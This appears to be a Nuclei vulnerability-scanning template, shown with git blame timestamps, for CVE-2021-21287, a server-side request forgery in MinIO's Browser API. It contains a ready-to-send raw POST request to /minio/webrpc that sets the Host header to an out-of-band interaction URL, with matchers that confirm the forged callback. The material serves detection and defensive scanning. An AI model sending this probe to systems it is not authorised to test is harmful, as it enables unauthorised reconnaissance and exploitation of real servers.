nuclei-templates/cves/2021/CVE-2021-21287.yaml

39 lines
1.3 KiB
YAML
Raw Normal View History

2021-09-14 10:31:27 +00:00
id: CVE-2021-21287
info:
name: MinIO Browser API SSRF
author: pikpikcu
severity: high
description: MinIO is a High Performance Object Storage released under Apache License v2.0. In MinIO before version RELEASE.2021-01-30T00-20-58Z there is a server-side request forgery vulnerability.
2021-09-14 11:22:28 +00:00
reference:
2021-09-14 14:45:44 +00:00
- https://github.com/minio/minio/security/advisories/GHSA-m4qq-5f7c-693q
2021-09-14 10:31:27 +00:00
- https://www.leavesongs.com/PENETRATION/the-collision-of-containers-and-the-cloud-pentesting-a-MinIO.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-21287
2021-10-18 20:40:26 +00:00
tags: cve,cve2021,minio,ssrf,oast
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
cvss-score: 7.70
cve-id: CVE-2021-21287
cwe-id: CWE-918
2021-09-14 10:31:27 +00:00
requests:
2021-09-14 14:45:44 +00:00
- raw:
- |
POST /minio/webrpc HTTP/1.1
Host: {{interactsh-url}}
Content-Type: application/json
2021-09-14 15:17:58 +00:00
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Content-Length: 76
2021-09-14 11:22:28 +00:00
2021-09-14 14:45:44 +00:00
{"id":1,"jsonrpc":"2.0","params":{"token": "Test"},"method":"web.LoginSTS"}
2021-09-14 10:31:27 +00:00
2021-09-14 14:45:44 +00:00
matchers-condition: and
2021-09-14 10:31:27 +00:00
matchers:
- type: word
part: interactsh_protocol
words:
2021-09-14 15:17:58 +00:00
- "http" # Confirms the HTTP Interaction
- type: word
words:
- "We encountered an internal error"